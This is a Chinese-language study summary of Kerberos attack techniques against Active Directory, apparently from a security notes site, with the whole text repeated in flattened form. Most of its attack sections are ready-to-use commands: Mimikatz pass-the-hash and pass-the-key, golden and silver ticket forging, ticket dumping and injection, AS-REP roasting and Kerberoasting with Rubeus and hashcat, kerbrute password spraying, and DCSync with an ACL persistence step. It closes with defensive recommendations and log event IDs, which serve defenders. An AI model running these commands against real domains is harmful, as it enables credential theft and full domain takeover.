关于Kerberos认证的一些攻击手法学习总结
字数 3201 2025-08-09 15:23:10

Kerberos认证攻击手法全面解析

1. Kerberos认证基础

1.1 核心组件

  • Domain Controller (DC): 域控制器,实现用户、计算机的统一管理
  • Key Distribution Center (KDC): 秘钥分发中心,包含AS和TGS
  • Authentication Service (AS): 身份验证服务,用于KDC对Client认证
  • Ticket Granting Service (TGS): 票据授予服务,用于分发Session Key
  • Active Directory (AD): 活动目录,存储用户、用户组、域相关信息

1.2 认证流程

  1. AS-REQ: Client向KDC(AS)发起认证请求,使用Client的NTLM Hash加密时间戳
  2. AS-REP: AS使用Client NTLM Hash解密,返回用KRBTGT Hash加密的TGT票据
  3. TGS-REQ: Client使用TGT向TGS请求服务票据
  4. TGS-REP: TGS使用KRBTGT Hash解密TGT,返回用Server Hash加密的ST票据
  5. AP-REQ: Client使用ST向Server请求资源
  6. AP-REP: Server验证ST后返回资源

2. 主要攻击手法

2.1 Pass The Hash/Key

2.1.1 Pass The Hash

  • 适用场景: 获取了Client的NTLM Hash
  • 工具:
    • Mimikatz: sekurlsa::pth /user:a /domain:god.org/rc4:b4ab235f987be3621a4ebd862189fd34
    • wmicexec: 不需要管理员权限
    • CrackMapExec: 批量验证

2.1.2 Pass The Key

  • 条件:
    • Win8.1/2012R2或安装了KB2871997补丁的Win7/2008R2/8/2012
    • 获取AES密钥
  • 命令: sekurlsa::pth /user:administrator /domain:god.org /aes256:bf723755bc5f72a377bda41ca58fd925df7ee45df9a026ac5cd320102a3a2e33

2.1.3 Pass The Hash With Remote Desktop

  • 条件:
    • Client和Server都支持Restricted Admin mode
    • Win8.1/2012R2默认开启
  • 启用: REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
  • 使用: sekurlsa::pth /user:administrator /domain:192.168.226.137 /ntlm:9c3767903480e04c089090d27123eaf9 "/run:mstsc.exe /restrictedadmin"

2.2 AS-REP Roasting

原理

攻击关闭了预认证的账户,获取AS-REP响应中加密的Session Key进行破解

利用步骤

  1. 查找关闭预认证的用户: userAccountControl:1.2.840.113556.1.4.803:=4194304
  2. 使用Rubeus获取Hash: Rubeus.exe asreproast /nowrap /format:hashcat
  3. 使用Hashcat破解: hashcat -m 18200 hash.txt passwords.dict --force

2.3 黄金票据(Golden Ticket)

特点

  • 需要与DC通信
  • 需要krbtgt用户的Hash
  • 可伪造任意TGT

制作条件

  1. 域名称
  2. 域的SID值(去掉最后部分)
  3. KRBTGT账户密码Hash
  4. 伪造用户名(任意)

制作命令

mimikatz "kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /user:administrator /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:k0u.kiribi"

使用

  • 注入票据: kerberos::ptt k0u.kiribi
  • 查看票据: klist

2.4 Pass The Ticket

利用方式

  1. 使用Mimikatz导出票据: sekurlsa::tickets /export
  2. 使用Rubeus导出票据: Rubeus.exe dump
  3. 注入票据:
    • Mimikatz: kerberos::ptt xxx.kirbi
    • Rubeus: ptt /ticket:base64ptt /ticket:file.kirbi

2.5 Kerberoasting

原理

利用RC4_HMAC加密的ST票据进行破解

利用步骤

  1. 查找有价值的SPN: Setspn -Q */*
  2. 使用Rubeus获取Hash: Rubeus kerberoast
  3. 使用Hashcat破解: hashcat -m 13100 hash.txt passwords.dict --force

加密降级突破AES

  • 命令: Rubeus kerberoast /tgtdeleg
  • 防御: 在组策略中禁用RC4

2.6 白银票据(Silver Ticket)

特点

  • 不需要与域控交互
  • 需要目标服务的NTLM Hash

制作条件

  1. 域名称
  2. 域的SID值
  3. 服务器账户的NTLM-Hash
  4. 伪造用户名
  5. 目标服务

制作命令

kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:owa.god.org /service:cifs /rc4:6be58bfcc0a164af2408d1d3bd313c2a /user:administrator /ptt

2.7 用户名枚举和口令暴力破解

工具对比

工具 协议支持 功能
kerbrute UDP/TCP 用户枚举、密码喷洒
pyKerbrute UDP/TCP 用户枚举、密码喷洒(NTLM hash)

使用示例

  • 用户枚举: kerbrute userenum -d god.org username.txt
  • 密码喷洒: kerbrute passwordspray -d god.org username.txt Abc123!

日志检测

  • 成功: 4768 (Kerberos authentication ticket requested)
  • 失败: 4771 (Kerberos pre-authentication failed)

2.8 Dcsync攻击

原理

利用DRSR协议模拟域控制器同步数据

所需权限

  • DS-Replication-Get-Changes-In-Filtered-Set
  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All

利用步骤

  1. 检查权限: Get-DomainObjectAcl
  2. 执行攻击: lsadump::dcsync /domain:god.org /user:krbtgt
  3. 权限维持(添加权限):
    Add-DomainObjectAcl -TargetIdentity "DC=god,DC=org" -PrincipalIdentity hack -Rights DCSync -Verbose
    

3. 防御建议

  1. 限制特权账户: 严格控制Administrators、Domain Admins等组内成员
  2. 启用PAC验证: 防御白银票据
  3. 禁用RC4加密: 在组策略中彻底禁用
  4. 启用预认证: 防止AS-REP Roasting
  5. 监控日志: 特别关注4768和4771事件
  6. 定期更换KRBTGT密码: 降低黄金票据风险
  7. 限制DCSync权限: 仅限必要账户

4. 工具资源

  1. kerbrute
  2. pyKerbrute
  3. Rubeus
  4. kerberoast
  5. Invoke-Kerberoast

5. 参考链接

  1. Kerberos的黄金票据详解
  2. Kerberos的白银票据详解
  3. Kerberoasting攻击方法
  4. Windows内网协议学习Kerberos篇之PAC
Kerberos认证攻击手法全面解析 1. Kerberos认证基础 1.1 核心组件 Domain Controller (DC) : 域控制器,实现用户、计算机的统一管理 Key Distribution Center (KDC) : 秘钥分发中心,包含AS和TGS Authentication Service (AS) : 身份验证服务,用于KDC对Client认证 Ticket Granting Service (TGS) : 票据授予服务,用于分发Session Key Active Directory (AD) : 活动目录,存储用户、用户组、域相关信息 1.2 认证流程 AS-REQ : Client向KDC(AS)发起认证请求,使用Client的NTLM Hash加密时间戳 AS-REP : AS使用Client NTLM Hash解密,返回用KRBTGT Hash加密的TGT票据 TGS-REQ : Client使用TGT向TGS请求服务票据 TGS-REP : TGS使用KRBTGT Hash解密TGT,返回用Server Hash加密的ST票据 AP-REQ : Client使用ST向Server请求资源 AP-REP : Server验证ST后返回资源 2. 主要攻击手法 2.1 Pass The Hash/Key 2.1.1 Pass The Hash 适用场景 : 获取了Client的NTLM Hash 工具 : Mimikatz: sekurlsa::pth /user:a /domain:god.org/rc4:b4ab235f987be3621a4ebd862189fd34 wmicexec: 不需要管理员权限 CrackMapExec: 批量验证 2.1.2 Pass The Key 条件 : Win8.1/2012R2或安装了KB2871997补丁的Win7/2008R2/8/2012 获取AES密钥 命令 : sekurlsa::pth /user:administrator /domain:god.org /aes256:bf723755bc5f72a377bda41ca58fd925df7ee45df9a026ac5cd320102a3a2e33 2.1.3 Pass The Hash With Remote Desktop 条件 : Client和Server都支持Restricted Admin mode Win8.1/2012R2默认开启 启用 : REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f 使用 : sekurlsa::pth /user:administrator /domain:192.168.226.137 /ntlm:9c3767903480e04c089090d27123eaf9 "/run:mstsc.exe /restrictedadmin" 2.2 AS-REP Roasting 原理 攻击关闭了预认证的账户,获取AS-REP响应中加密的Session Key进行破解 利用步骤 查找关闭预认证的用户: userAccountControl:1.2.840.113556.1.4.803:=4194304 使用Rubeus获取Hash: Rubeus.exe asreproast /nowrap /format:hashcat 使用Hashcat破解: hashcat -m 18200 hash.txt passwords.dict --force 2.3 黄金票据(Golden Ticket) 特点 需要与DC通信 需要krbtgt用户的Hash 可伪造任意TGT 制作条件 域名称 域的SID值(去掉最后部分) KRBTGT账户密码Hash 伪造用户名(任意) 制作命令 使用 注入票据: kerberos::ptt k0u.kiribi 查看票据: klist 2.4 Pass The Ticket 利用方式 使用Mimikatz导出票据: sekurlsa::tickets /export 使用Rubeus导出票据: Rubeus.exe dump 注入票据: Mimikatz: kerberos::ptt xxx.kirbi Rubeus: ptt /ticket:base64 或 ptt /ticket:file.kirbi 2.5 Kerberoasting 原理 利用RC4_ HMAC加密的ST票据进行破解 利用步骤 查找有价值的SPN: Setspn -Q */* 使用Rubeus获取Hash: Rubeus kerberoast 使用Hashcat破解: hashcat -m 13100 hash.txt passwords.dict --force 加密降级突破AES 命令: Rubeus kerberoast /tgtdeleg 防御: 在组策略中禁用RC4 2.6 白银票据(Silver Ticket) 特点 不需要与域控交互 需要目标服务的NTLM Hash 制作条件 域名称 域的SID值 服务器账户的NTLM-Hash 伪造用户名 目标服务 制作命令 2.7 用户名枚举和口令暴力破解 工具对比 | 工具 | 协议支持 | 功能 | |------|---------|------| | kerbrute | UDP/TCP | 用户枚举、密码喷洒 | | pyKerbrute | UDP/TCP | 用户枚举、密码喷洒(NTLM hash) | 使用示例 用户枚举: kerbrute userenum -d god.org username.txt 密码喷洒: kerbrute passwordspray -d god.org username.txt Abc123! 日志检测 成功: 4768 (Kerberos authentication ticket requested) 失败: 4771 (Kerberos pre-authentication failed) 2.8 Dcsync攻击 原理 利用DRSR协议模拟域控制器同步数据 所需权限 DS-Replication-Get-Changes-In-Filtered-Set DS-Replication-Get-Changes DS-Replication-Get-Changes-All 利用步骤 检查权限: Get-DomainObjectAcl 执行攻击: lsadump::dcsync /domain:god.org /user:krbtgt 权限维持(添加权限): 3. 防御建议 限制特权账户 : 严格控制Administrators、Domain Admins等组内成员 启用PAC验证 : 防御白银票据 禁用RC4加密 : 在组策略中彻底禁用 启用预认证 : 防止AS-REP Roasting 监控日志 : 特别关注4768和4771事件 定期更换KRBTGT密码 : 降低黄金票据风险 限制DCSync权限 : 仅限必要账户 4. 工具资源 kerbrute pyKerbrute Rubeus kerberoast Invoke-Kerberoast 5. 参考链接 Kerberos的黄金票据详解 Kerberos的白银票据详解 Kerberoasting攻击方法 Windows内网协议学习Kerberos篇之PAC